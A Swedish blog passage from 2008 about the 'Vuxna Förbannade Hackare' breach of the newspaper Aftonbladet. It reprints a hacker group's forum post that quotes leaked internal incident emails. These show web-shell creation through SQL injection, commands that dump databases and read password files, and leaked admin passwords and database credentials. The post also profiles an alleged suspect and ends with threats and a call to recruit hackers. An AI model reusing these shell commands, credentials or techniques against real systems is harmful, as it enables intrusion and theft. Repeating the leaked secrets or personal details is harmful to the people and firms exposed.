�Kom och h�lsa p� � jag ska med sp�nning lyssna p� er och f�rklara hur jag ser p� saken"

Jonas Bystr�m — Sat, 05 Jan 2008 22:46:33 +0000

Klart Vuxna F�rbannade Hackare �r intresserade av att avsl�ja sig. Or not =)
Dom �r s� roligt p� aftonbladet, d�r g�r det att l�sa "Tidningens chefredakt�r Jan Helin: �Kom och h�lsa p� � jag ska med sp�nning lyssna p� er och f�rklara hur jag ser p� saken�

Det g�r ocks� att l�sa p� Aftonbladet
"Gruppen �r extremt skickliga p� datorer. Genom att ta sig in i Aftonbladets datasystem har de p� punkt f�r punkt avsl�jat svagheterna i v�ra system."
Men ska man se vad som �r tidigare har h�nt tidigare med aftonbladet s� kan man ju misst�nka att s�kerheten inte har varit s� himla bra p� Aftonbladet.
S� varf�r skulle AFH vilja komma till Aftonbladet och f�rklara f�r dom hur dom ska skydda sig f�r att inte s�dana som AFH ska kunna angripa igen?

"Men VFH:s nya uppgifter visar ytterligare en sak: De kan nu ha tillg�ng till information som �r k�llskyddad enligt svensk grundlag. P� ren svenska: journalisters kontakter med k�llor. Det �r v�rt allra heligaste."
Ja det kanske man ska t�nkt p� f�rsta g�ngen, eller trodde dom inte p� dom d� eller vad�?
Jag tycker f�retag �r s� naiva n�r dom f�r information som ber�ttar f�r dom vilka fel som finns, men dom vill inte lyssna f�r deras "j�tte duktiga IT-experter kan ju det h�r", eller s� kanske det inte var s�.

"Kom och h�lsa p� mig p� redaktionen s�ndag klockan 15.00, eller p� m�ndag samma tid. Vi kan g�ra n�got s� omodernt men mysigt som att dricka eftermiddagskaffe. Jag ska med sp�nning lyssna p� er och f�rklara hur jag ser p� saken."
Ja det �terst�r ju att se om dom kommer, men ska jag chansa s� tror jag inte att dom komemr s�tta sin fot d�r, inte ens f�r att Aftonbladet lovar "Ni kan sj�lvklart f�rbli helt anonyma om ni s� vill. Svensk grundlag f�rbjuder mig att r�ja era identiteter." d� dom har bevisat att det verkar ju inte fungera.

Du kan l�sa mera p� Aftonbladet h�r samt en tidigare artikel om Fortsatta problem efter dataintr�nget

Copyright © 2010 En bl� resa. This Feed is for personal non-commercial use only. If you are not reading this material in your news aggregator, the site you are looking at is guilty of copyright infringement. Please contact legal@lediga.st so we can take legal action immediately.
Plugin by Taragana

Vuxna F�rbannade Hackare i farten igen

Jonas Bystr�m — Sat, 05 Jan 2008 15:00:41 +0000

Nu �r dom framme igen och givit lite svar p� tal p� mail som har g�tt via aftonbladet ang�ende hackningarna tidigare �r.

Det h�r �r direkt taget ifr�n Flashback forumet.

"Hej �rade Flashbackare och svenka folk!
VFH h�r igen. Ville bara tacka f�r allt ni bidragit med och att vi inte sitter
och �r f�rbannade f�r oss sj�lva �ver vad media h�ller p� med. Den ointressanta
sm�rja Aftonbladet v�ljer att skriva om �r verkligen inte journalistik och skall
inte accepteras.

Folket m�ste g�ras p�minda om att det media skiter ur sig och trycker p� oss
inte alltid �r sanningen. Ist�llet v�ljer man att k�ra p� det som s�ljer och en
massa j�vla snyfthistorier och smutskastning av m�nniskor. Usch. Verkligen sk�nt
att se det �r fler som h�ller med oss och tycker att dr�ggen p� aftonhoran skall
f� st� sitt kast och h�ngas ut.

Det �r inte OK att helt utan grunder publikt h�na folk bara f�r att man har
m�jlighet att g�ra det (eller vad tycker ni p� Aftonbladets redaktion?).

�ven om s� pass m�nga h�ller med om att Aftonbladet �r skit tycks de bli st�rre
och prackar p� oss fler och fler bilagor, gratistidnignar och tv-kanaler. Det �r
nog m�nga som �r villiga att skriva under p� att det �r allt annat �n en god
utveckling. Denna incident har f�rhoppningsvis bidragit till ett f�rlorat
f�rtroende f�r Aftonbladet n�r det g�ller tipsare, kunder och andra som haft att
g�ra med tidningen. N�got som gl�djer oss innerligen.

Aftonbladet, inse att ni �r tok�gda och att folket �r f�rf�rligt tr�tta p� era
l�gner. Intran�tet kanske inneh�ll lite mer �n vad ni sagt?

Om ni ska g� igenom logg efter logg s� kan vi ge er ett tips p� vart ni ska b�rja.
Hur gick detta till? Ja, Aftonbladet. Hur tog vi oss in?
H�r �r Aftonbladets version om hur vi tog oss in, men aldrig ut ur annonsystemet �r 2006.

—

From: Xxx Xxx xxx.xxx@aftonbladet.se
Sender: "lg teknik" lg.teknik@aftonbladet.se
Subject: Re: [lg.teknik] transfer3 uppdatering…
Date: Wed, 21 Jun 2006 20:35:20 +0200
To: * "lg teknik" lg.teknik@aftonbladet.se

21 jun 2006 kl. 18.55 skrev Xxx Xxx:

Hej!

Vi har nu rett ut hur intr�nget gick till. Svagheterna i v�r konfiguration var flera som ni kommer att se i beskrivningen:

Hackarna nyttjade inloggningsfunktionen p� annonsmottagningstj�nsten. S� h�r ser php-koden ut:

Om man inte v�ljer att k�ra addslashes p� $user och
$password s� m�ste man v�lja att sl� p� "magic quotes" i
php-konfigurationen. Om "magic quotes" �r p� s� k�rs addslashes
funktionen p� alla variabler som skickas in fr�n formul�r. Problemet
var att magic quotes inte var p�slaget. Vi kan l�gga ett stort ansvar
f�r den missen p� Infomaker d� vi tidigare f�tt rekommendationen att
sl� av "magic quotes" av Xxx Xxx p� Infomaker n�r en funktion i
tj�nsten inte fungerade som den skulle. Jag har kvar det mailet som han
skickade 17 maj i �r. F�rmildrande f�r Infomaker �r att Xxx Xxx
hos dem, som utvecklat tj�nsten, har arbetat mycket med oss f�r att
hitta intr�ngsv�gen och �ven sp�rat upp en av de som sannolikt
genomf�rde intr�nget. Jag l�mnar det till Oscar att besluta om vi ska
polisanm�la hackarna, samt om vi ska f�ra en diskussion med Infomaker
om kompensation.

En annan svaghet som m�jliggjorde intr�nget var att anv�ndaren som
ansl�t till mysql fr�n annonstj�nstens php-kod hade fulla r�ttigheter i
mysql och kunde d�rf�r skapa mysql-tabellen och dumpa ut den i en fil.

….

21 jun 2006 kl. 09.48 skrev Xxx Xxx:
Hej allihopa,

jag har lekt lite detektiv med de loggar som jag har f�tt ta del av och tolkar dom s� h�r:
Initialt s� var det ett par svenska killar som gav sig in p� att testa lite out
of the box hackerl�sningar p� aftonbladet och lyckades med en sql
injection och skapade cmd2.php (p� samma s�tt och med samma filnamn som
jag hittade i ett kinesiskt forum). Dessa svenska killar spred sedan
uppgifterna p� n�got slags forum eller via en irc-kanal vilket
resulterade i att ganska snart b�rjade det dyka upp s�v�l amerikanska,
kinesiska som tyska ip-nummer i loggen som alal anropar filen. Eftersom
det �r en out of the box l�sning och dom har anv�nt sig avsamma filnamn
som i exemplet s� f�r det mig att tro att dom �r inga experter, deras
kommandon som dom sedan har skickat in �r ocks� ganska sporadiska. Vi
har lyckats identifiera tv� tidiga ip-nummer fr�n logutdraget nedan:
84.55.93.136 och 213.113.27.69. B�da f�rekommer tidigt i det utdraget
och b�da g�r till tv� svenska internetlevrant�rer:

84.55.93.136 84-55-93-136.rev.sth.ownit.se
213.113.27.69 c-451b71d5.026-20-6b6c6d11.cust.bredbandsbolaget.se

Det sistn�mnda ipnummret visade sig inneh�lla en webbsida, "orelevant". En
googing p� det visade att det dessutom fanns en registrerad dom�n p�
den orelevant. Nic-se gav mig ett namn p� innehavaren av den adressen:
"Xxx Xxx". en googling p� "orelevant" gav mig ett
antal tr�ffar i olika linux, kernel och hackerforum samt ett
f�delsedatum "orelevant" http://kerneltrap.org/user/orelevant och en epsotadress aftonbladetsucks@aftonbladet.se.
Birthday.se gav mig en ort(orelevant) p� en Xxx Xxx f�dd XXXX. Hitta.se gav mig en adress:
Xxx Xxx Tfn/fax: XXXX-XXXXXXX (Delas med (det �r aftonbladet vi vill �t) Adress Orelevant. XX X XXXXX XXXXX
Eftersom Xxx verkar vara aktiv i olika linux, kernel, exploit forum s�
tycker jag att det tyder p� att han f�rmodligen inte har blivit hackad
sj�lv utan tv�rtom har ett litet intresse av den h�r typen av
aktiviteter och han f�rmodligen f�tt ta del av den h�r l�sningen i
n�got forum (f�rmodligen en gansk aktiv kanal) och att han har testat
lite. Mitt f�rslag �r att n�gon p� aftonbladet juridiskt kunnig person
kontaktar Xxx, f�r hans kn�na atts kaka och
t�nder att skallra samt ber honom om information om var har har f�tt
tillg�ng till den h�r informationen och p� vilket s�tt han har nyttjat
den samt om han k�nner till om och hur och n�r andra har utnyttjat den.
P� s� s�tt b�r vi (om vi vill) kunna rotadjupare i det h�r �rendert och
kanske kunna komma �t sj�lva k�llan. Men innan
vi g�r n�got s�dant ger jag er r�det att sl� p� magic_quotes i er
php.ini s� att inga uppr�rda hackare f�r f�r sig att g�ra n�gonting v�rre.

—

[* Allt j�vla kinaprat och skit om att vi lagt upp information p� n�tt tattarforum s�ger
ju en del om hur lite insikt de har. D�m sj�lva. *]

20 jun 2006 kl. 16.00 skrev Xxx Xxx:

Efter att vi plockade bort h4x.php filen s� lyckades hackaren skapa den p� nytt. Access-loggen visade ingenting:

209.242.5.54 – - [18/Jun/2006:21:07:45 +0200] "GET /h4x.php HTTP/1.1" 404 291
209.242.5.54 – - [18/Jun/2006:21:08:17 +0200] "POST /index.php HTTP/1.1" 200 212
209.242.5.54 – - [18/Jun/2006:21:10:25 +0200] "POST /index.php HTTP/1.1" 200 78
209.242.5.54 – - [18/Jun/2006:21:10:57 +0200] "GET /h4x.php?cmd=id HTTP/1.1" 200 101

21:07:45 fanns filen inte. 21:10:57 s� var den p� plats. Error loggen d�remot:
[Sun Jun 18 21:07:45 2006] [error] [client 209.242.5.54] File does not exist: /Library/WebServer/Documents/annons/h4x.php
[Sun Jun 18 21:08:17 2006] [error] PHP Notice: Undefined variable: version in /Library/WebServer/Documents/annons/includes/prefs.php on line 2
[Sun Jun 18 21:08:17 2006] [error] PHP Warning: mysql_numrows(): supplied argument is not a valid MySQL result resource in /Library/WebServer/Documents/annons/includes/functions.php on line 759
[Sun Jun 18 21:10:25 2006] [error] PHP Notice: Undefined variable: version in /Library/WebServer/Documents/annons/includes/prefs.php on line 2

21:07:45 fanns inte filen d�r. 21:08:17 s� k�rs f�ljande PHP kod som avslutas med en PHP-varning:
function doLogin($user,$password){ $query = "SELECT * FROM user ;WHERE userName='$user' AND password='$password'"; $result = mysql_query($query) OR DIE(mysql_error()); $rows = mysql_NumRows($result); if($rows!=0){

Jag gissar att hackaren utnyttjar n�gon form av SQL injection svaghet i
variablerna user och/eller password som f�r antingen PHP eller MySQL
att urarta p� ett s�nt s�tt att filen h4x.php skrivs till disk. Det
k�nns mer troligt att det �r PHP, d� filen skapas i PHPs rootmapp.

Den h�r texten k�nns mycket relevant:

http://www.sitepoint.com/article/php-security-blunders/2

Intressant �r att den rekommenderade l�sningen, att sl� p� magic quotes
rekommenderade Xxx oss att sl� av n�r Xxx ville byta en spr�kvariabel.

/Ian

Fr�n: Xxx Xxx xxx@infomaker.se
Datum: tisdag 20 jun 2006 11.31.01 GMT+02:00
Till: Xxx Xxx xxx.xxx@aftonbladet.se
Kopia: Xxx Xxx xxx.xxx@aftonbladet.se, Xxx Xxx infomaker.se, Xxx Xxx xxx@infomaker.se
�mne: Re: h4x

Hej,

nu har jag tittat lite p� loggarna och googlat lite. Det visade sig att
nyckeln ligger i cmd2.php som �r ink�rsporten. cmd2.php verkar kunna
komma in p� en del olika s�tt ett �r att en bugg i xml-rpc g�r att om
man k�r en eval() p� vissa typer av xml kan g�r att man kan skapa
php-filer p� servern. Ett exempel �r t.ex om man k�r CMS-systemet
Drupal (http://secunia.com/advisories/15852/). Vad k�r ni mer p� servern �n annonsmottagningen?
Ett annat s�tt att skapa filen verkar vara genom att med hj�lp av en sql-injection:

1. skapa en ny tabell i mysql
2. peta in php-kod i den nya mysql-tabellen
3. g�ra en mysql-selection till en extern fil (ny har vi en php-fil som g�r att k�ra)
4. g�r en ;drop p� tabellen s� att sp�ren f�rsvinner i mysql.

Jag hittade en liten instruktion p� hur man g�r det p� en chinesisk site: http://www.cnxhacker.com/Article/show/378.html

Det h�r kan man l�sa genom att dels verifiera att ingen php �ker in i mysql
och att den anv�ndare sqom websysteme anv�nder inte f�r dumpa data till
fil och inte f�r skapa nya tabeller. Att enbart se �ver mysqlanv�ndsarens r�ttigheter �r en snabb fix.

/Xxx

20 jun 2006 kl. 10.57 skrev Xxx Xxx:

transfer3:/Library/WebServer/Documents/annons root# cat /var/log/httpd/access_log | grep h4x
…
66.63.162.152 – - [18/Jun/2006:02:40:09 +0200] "GET /annons/cmd2.php?cmd=echo%20%22%3Cpre%3E%3C?%20system($_GE T['cmd']);%20?%3E%3C/pre%3E%22%3Eh4x.php HTTP/1.1" 200 52
66.63.162.152 – - [18/Jun/2006:02:40:23 +0200] "GET /annons/h4x.php?cmd=id HTTP/1.1" 200 5
66.63.162.152 – - [18/Jun/2006:02:41:14 +0200] "GET /annons/cmd2.php?cmd=rm%20h4x.php HTTP/1.1" 200 52
66.63.162.152 – - [18/Jun/2006:02:46:48 +0200] "GET /annons/cmd2.php?cmd=echo%20%22%3Cpre%3E%3C%3F%20system(\\ $_GET['cmd']);%3F%3E%3C/pre%3E%22%3Eh4x.php HTTP/1.1" 200 52
66.63.162.152 – - [18/Jun/2006:02:47:52 +0200] "GET /annons/h4x.php?cmd=rm%20cmd.php HTTP/1.1" 200 24
66.63.162.152 – - [18/Jun/2006:02:47:59 +0200] "GET /annons/h4x.php?cmd=rm%20cmd2.php HTTP/1.1" 200 24
85.10.240.250 – - [18/Jun/2006:03:08:50 +0200] "GET /annons/h4x.php?cmd=cat%20/private/etc/afpovertcp.cfg HTTP/1.1" 200 539
85.10.240.250 – - [18/Jun/2006:03:09:10 +0200] "GET /annons/h4x.php?cmd=cat%20/etc/authorization HTTP/1.1" 200 17509
85.10.240.250 – - [18/Jun/2006:03:11:12 +0200] "GET /annons/h4x.php?cmd=cat%20/private/etc/ftpusers HTTP/1.1" 200 143
72.21.33.202 – - [18/Jun/2006:03:22:10 +0200] "GET /annons/h4x.php?cmd=ls%20/Network/Servers HTTP/1.1" 200 49
72.21.33.202 – - [18/Jun/2006:03:22:34 +0200] "GET /annons/h4x.php?cmd=ls%20/Network/Servers/transfer3.aftonbladet.se/ HTTP/1.1" 200 175
88.191.22.62 – - [18/Jun/2006:03:30:30 +0200] "GET /annons/h4x.php?cmd=ls%20/Users/admin/Sites HTTP/1.1" 200 42
149.9.0.25 – - [18/Jun/2006:03:41:12 +0200] "GET /annons/h4x.php?cmd=ls%20-al%20../inpoc/admin HTTP/1.1" 200 255
149.9.0.25 – - [18/Jun/2006:03:41:50 +0200] "GET /annons/h4x.php?cmd=cat%20../inpoc/admin/properties.txt HTTP/1.1" 200 25
199.77.130.14 – - [18/Jun/2006:03:45:00 +0200] "GET /annons/h4x.php?cmd=cat%20/Library/WebServer/Documents/inpoc/admin/index.php HTTP/1.1" 200 1887
199.77.130.14 – - [18/Jun/2006:03:46:09 +0200] "GET /annons/h4x.php?cmd=cat%20/Library/WebServer/Documents/inpoc/.htpasswd HTTP/1.1" 200 44
88.191.12.200 – - [18/Jun/2006:03:47:51 +0200] "GET /annons/h4x.php?cmd=strings%20/private/etc/pure-ftpd/pureftpd.passwd HTTP/1.1" 200 7639
193.219.28.245 – - [18/Jun/2006:03:52:18 +0200] "GET /annons/h4x.php?cmd=ls%20-la%20/Library/FTPServer/VirtualUsers/aftonbladet/ HTTP/1.1" 200 207
193.219.28.245 – - [18/Jun/2006:03:53:01 +0200] "GET /annons/h4x.php?cmd=ls%20-la%20/Library/FTPServer/VirtualUsers/sport HTTP/1.1" 200 279
….
transfer3:/Library/WebServer/Documents/annons root#
- ——————————————

Xxx Xxx

Infomaker Scandinavia AB

Box 347, SE-391 23 Kalmar, Sweden

Tel +46 480 36 20 05, Fax +46 480 887 25

xxx@infomaker.se, www.infomaker.se

—

[* Vart fan f�r han xml-rpc id�erna ifr�n? Senaste d�dsbuggen p� bugtraq eller vad? *]

Fr�n: Xxx Xxx xxx@infomaker.se
Datum: tisdag 20 jun 2006 19.46.27 GMT+02:00
Till: Xxx Xxx xxx.xxx@aftonbladet.se
Kopia: F�r m�nga.

Japp,
om man har slagit av magic_quotes s� har man ett s�kerhetsh�l som
till�ter sql-injections. Sl� omedelbart p� den igen. Verifiera ocks�
att den mysql-anv�ndare som k�rs via scriptet includes/dbConnect.php
inte f�r skapa tabeller, inte f�r skriva till fil.

Mvh Xxx

—

From: Xxx Xxx xxx.xxx@aftonbladet.se
Sender: "* lg teknik" lg.teknik@aftonbladet.se
Subject: Re: [lg.teknik] SV: [lg.teknik] Fwd: [nattrapport] Dagrapport Tisdag den 20 Juni
Date: Thu, 22 Jun 2006 02:11:47 +0200
To: "* lg teknik" lg.teknik@aftonbladet.se

F�ljande tj�nster �r tillg�ngliga p� yttre:

aftonbladet.se – l�nk till sajten.
anslagstavlan – internt k�p och s�lj.
bandbredd – direkt l�nk till IP-only, b�r den ens finnas d�r?
blanketter – ladda hem blanketter.
boka – boka rum osv.
chatparade – antalet samtida chattare, fel l�sen?
enk�ten – internt enk�t verkyg, vet ej om det anv�nds?
exchangemail – nerlagd tj�nst.
hitparade – antalet bes�kare till aftonbladet, nerlagd 2005?
julklapp – tj�nst d�r man v�ljer storlek p� v�st som man fick i �r.
kalender_admin – adventkalender p� galento-admin
kartor – l�nk till hitta.se
klicktoppen – fungerade l�nk till mest bes�kta l�nkarna p�
aftonbladet.se, b�r knappast finnas p� yttre, d� man l�tt bokm�rker
detta p� hemdatorn, extremt k�nslig information!
landguiden – l�nk till landguiden.se
linkorama – d�d bokm�rkeskatalog p� galento
l�mna bild – l�nk till tj�nst p� transfer3
l�mna ljud – l�nk till http://kodar.aftonbladet.se/ som inte svarar, d�d?
l�mna text – l�nk till tj�nst p� transfer3
mera r�tt – l�nk till tj�nsten mera r�tt.
modempooler – l�nk till statisk sida om v�ra modempooler
motionera mera – l�nk till nerlagd projekttj�nst
pepc – n�gon form av l�mningstj�nst f�r v�rldsupplagan
pit – Samlingssida f�r www.aftonbladet.se �vervakningssidor, funkar ej?
publicera p� galento – kan man g�ra det fr�n yttre?
resa – l�nk till www.ark.se
Rixlex – l�nk till http://www.riksdagen.se/debatt/
r�ckvidd – tj�nst f�r att se ab och konkurrenters r�ckvidd, d�d?
shibsted aktiekurs – sk�nt felstavad tj�nst som tur �r nerlagd, med tv� anv�ndare?
stega p� – nerlagd projekttj�nst
Sverigekartan – l�nk till http://www.sna.se/webbatlas/700/, tj�nsten suger j�mf�rt med hitta.se
telegram – v�r interna telegramtj�nst
Tholin – l�nk med inloggning till tholin, enda anv�ndarna �r ulla lundberg och fisken, d�d?
Upplysningscentralen – l�nk till http://www.uc.se/?
webbmail (s�ker) – l�nk till https://mail.aftonbladet.se
www statistik – samlingssida f�r aftonbladet.se statistik inneh�ller
l�nkar inklusive inloggning till extern extremt k�nslig information,
�terigen kan bokm�rkas p� hemdatorer!

N�gra tj�nster b�r nog ryckas omedelbart pga de k�nsliga l�nkarna som
kan bokm�rkas p� datorer som vi inte �ger. Andra kan nog strykas d� de
�r nerlagda.

Sista m�naden har f�ljande klickats p� yttregalento:
webbmail (s�ker) – 1994 (bara en l�nk till mail.aftonbladet.se…)
meraratt – 450

l�mna text – 393 (fast man kan g�ra samma sak direkt i scoop)
aftonbladet.se – 317
telegram – 211
motionera mera – 140 (trots att tj�nsten �r nerlagd?)
anslagstavlan – 69
l�mna bild – 32
resa – 28
www statistik – 20
blanketter – 19
modempooler – 6

/Ian

21 jun 2006 kl. 12.37 skrev Xxx Xxx:

En till orov�ckande tanke. eftersom mysqldumpen �r p� vift s� inneb�r det
ocks� att alla era kunder inlogg med tillh�rande l�senord �r p� vift.
Det enda rimliga �r att man automatgenererar nya l�senord och mailar ut
dessa till era kunder med automatik.

Mvh Xxx

—

21 jun 2006 kl. 12.15 skrev Xxx Xxx:

Jag f�r en k�nsla av att filen hx4.php finns p� flera st�llen anrop sker ju
till b�de /annons/h4x.php och /h4x.php har ni s�kt och rensat
ordentligt? det vorde ocks� sp�nnande att f� ta sig en titt p� exakt
vad dom inneh�ller. (b�de h4x.php och cmd2.php)

/Xxx

–

21 jun 2006 kl. 11.56 skrev Xxx Xxx:

Nu har jag l�st loggarna och det �r ingen rolig l�sning. Det har r�rt sig
om ganska mycket aktivitet och den del �r direkt farlig och �ppnar nya
h�l:

h�r sker angreppet:
217.160.135.169 – - [18/Jun/2006:02:05:25 +0200] "POST /index.php HTTP/1.1" 200 212

h�r skapas filen p� nytt:
209.242.5.54 – - [18/Jun/2006:21:10:25 +0200] "POST /index.php HTTP/1.1" 200 78

rootl�sen f�r mysql p� avv�gar:
84.19.182.23 – - [18/Jun/2006:21:25:18 +0200] "GET /h4x.php?cmd=mysqlshow%20–user%20root%20–password=8ull3r6yn HTTP/1.1" 200 62

alla databaser dumpade till fil:
195.169.149.213 – - [18/Jun/2006:21:28:02 +0200] "GET /h4x.php?cmd=mysqldump%20–all-databases%20–user%20root%20-p%208ull3r6yn%20%3E%20/tmp/.e HTTP/1.1" 200 62
misslyckades med dump raderar och l�ser mysql–help
195.169.149.213 – - [18/Jun/2006:21:28:25 +0200] "GET /h4x.php?cmd=cat%20/tmp/.e HTTP/1.1" 200 62
195.169.149.213 – - [18/Jun/2006:21:28:39 +0200] "GET /h4x.php?cmd=rm%20-f%20/tmp/.e HTTP/1.1" 200 62
195.169.149.213 – - [18/Jun/2006:21:28:49 +0200] "GET /h4x.php?cmd=mysqldump%20–help HTTP/1.1" 200 62

lyckades med mysqldump:
195.169.149.213 – - [18/Jun/2006:21:33:42 +0200] "GET /h4x.php?cmd=/usr/local/mysql/bin/mysqldump%20–all-databases%20–user=root%20–password=8ull3r6yn%20%3E/tmp/.e HTTP/1.1" 200 62
195.169.149.213 – - [18/Jun/2006:21:36:35 +0200] "GET /h4x.php?cmd=cat%20/tmp/.e HTTP/1.1" 200 3902808

H�mtar hem l�senordsfil f�r apache htaccess
199.77.130.14 – - [18/Jun/2006:03:46:09 +0200] "GET /annons/h4x.php?cmd=cat%20/Library/WebServer/Documents/inpoc/.htpasswd HTTP/1.1" 200 44
plockar hem l�senordsfil f�r purftpd:
88.191.12.200 – - [18/Jun/2006:03:47:51 +0200] "GET /annons/h4x.php?cmd=strings%20/private/etc/pure-ftpd/pureftpd.passwd

rotar i appleshare:
88.191.12.200 – - [18/Jun/2006:03:53:20 +0200] "GET /annons/h4x.php?cmd=ls%20-la%20/Library/Filesystems/AppleShare/Authentication HTTP/1.1" 200 127

mystiskt anrop: 213.92.92.22 – - [18/Jun/2006:03:53:24 +0200] "GET /w00tw00t.at.ISC.SANS.DFind HTTP/1.1" 400 416

systemets l�senordsfil h�mtas hem (f�rhoppningsvis �r den shadowad):
84.55.93.136 – - [18/Jun/2006:10:07:27 +0200] "GET /annons/h4x.php?cmd=cat%20/etc/passwd HTTP/1.1" 200 1885

Allts�:
- – rootl�sen f�r mysql �r p� vift tillsammans med all data som fanns lagrad i mysql. Byt l�senord.
- – l�senordet f�r afp kan vara hackat
- – man har med stor sannolikhet bruteforcecrackat l�senorden till htaccess, pureftpd och �ven systeml�senord (om nu inte den filen var shadowad).

Allts� byt alla l�senord nu. N�r ni har gjort det se till att byta till det nya mysqll�senordet i filen includes/dbConnect.php

/Xxx

—-

Och sj�lvfallet bjussar vi p� lite mera skoj:
http://pastebin.com/m554733a3

Notera att l�senorden f�r annonserna fortfarande fungerar och att annonsf�retagen
inte fick sina l�senord utbytta eller ens en notering om att vi f�tt tag p� dem.

H�r �r en liten lista p� vilka admin-l�senord som anv�nts och anv�nds:

jawohl
hepburn
catherine
sinatra
donjuan
5pad3r
8ull3r6yn
k4ll34nk455

Samt lite l�nkar v�rda att bes�ka:

transfer3.aftonbladet.se/inpoc/
http://annons.aftonbladet.se/admin/
http://annons.aftonbladet.se/

Lite kort om Infomaker/xlibris:
"XLibris Publisher �r ett webbpubliceringssystem som troligen �r det mest anv�nda p� tidningar i Sverige. Systemet �r uppbyggt kring en kraftfull mediadatabas f�r texter, bilder, filer, l�nkar m m. Tillsammans med databasen byggs ett mallsystem f�r din webb upp. Mallarna kan liknas vid sidmallar f�r vanlig tidningsproduktion kompletterade med intelligens."

H�r har ni Infomakers l�senord (som kanske fungerar p� annat h�ll, vem vet :

$db = mysql_pconnect("localhost","xlibris","xRpm2000");

Ni har n�gra �rs loggar att g� igenom, hoppas ni f�r det skoj!

"Nu har jag l�st loggarna och det �r ingen rolig l�sning."
MOAUHGAUHHHAHAHA

Allt prat om att vi tog oss in via er internsida �r bara skit. Det var d�r vi dumpade de
hashade l�senorden d�rf�r att den efterblivna algoritm som anv�nds d�r har s�rbarheter.
Idioter.

Tills vidare. Aftonbladet: Ert m�rkl�ggande av det h�r �r fan pinsamt. Vi beg�r
att ni inom kort g�r ut med en vr�kartikel p� er hemsida och i er superfina
tidning d�r ni sj�lva erk�nner att det �r NI som varit ignoranta och helt j�vla
CHOCKDUMMA. Kan ni skriva om Kikki & Co och hur fel de beter sig, helt utan
empati, s� nog fan �r det dags att ni sj�lva inser vad ni lyckats med. Ansvaret
ligger hos er. Hur fan kan ni vara s� taffliga n�r det kommer till att hantera
denna typ av information?

G� ut med sanningen nu eller s� b�rjar vi publicera andra saker – som ni redan vet
s� har vi tappat alla v�ra sp�rrar f�r moral f�r l�nge sedan, j�vlas inte..

En kort notis:
Vi har ingen som helst koppling till AUH. Likheten av namnval valde vi utav
respekt f�r vad de st�r f�r och lyckats med. Vi hoppas att aktioner likt denna
g�r att fler folk blir inspirerade till att hacka, s� som vi blivit av AUH.

Och det kan �ven n�mnas att:
En samling f�rbannade hackare som lyckats filura ut hur man kontaktar oss har
anslutit sig till VFH och kommer att hj�lpa till med framtida uppdrag. Om du/ni
k�nner er manade samt besitter h�ga kunskaper inom datorer och j�vulskap hoppas
vi mer �n g�rna att ni ansluter er till oss.

Mvh. Vuxna F�rbannade Hackare

"Intelligence without ambition is a bird without wings." "

Det �r ganska intressant l�sning det h�r.
Ni kan forts�tta med diskussionen h�r
Kan �ven l�sa p� IDG "Ytterligare Aftonbladet-l�senord publicerade p� n�tet" lika s� "Hackare hotar Aftonbladet"

Det har �ven l�ckt ut en bild ifr�n den hackade sidan som ska ligga som bevis f�r att attacken har genomf�rts d� inge bilder har visas tidigare.

En bl� resa » vuxna f�rbannade hackare

�Kom och h�lsa p� � jag ska med sp�nning lyssna p� er och f�rklara hur jag ser p� saken"

Vuxna F�rbannade Hackare i farten igen